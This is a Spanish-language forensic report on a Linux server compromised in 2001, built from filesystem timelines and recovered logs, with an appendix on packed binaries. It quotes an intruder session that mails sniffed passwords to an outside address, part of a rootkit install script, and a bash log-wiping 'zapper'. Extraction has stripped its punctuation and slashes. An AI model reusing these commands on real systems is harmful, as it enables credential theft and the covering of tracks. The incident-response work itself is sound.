A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

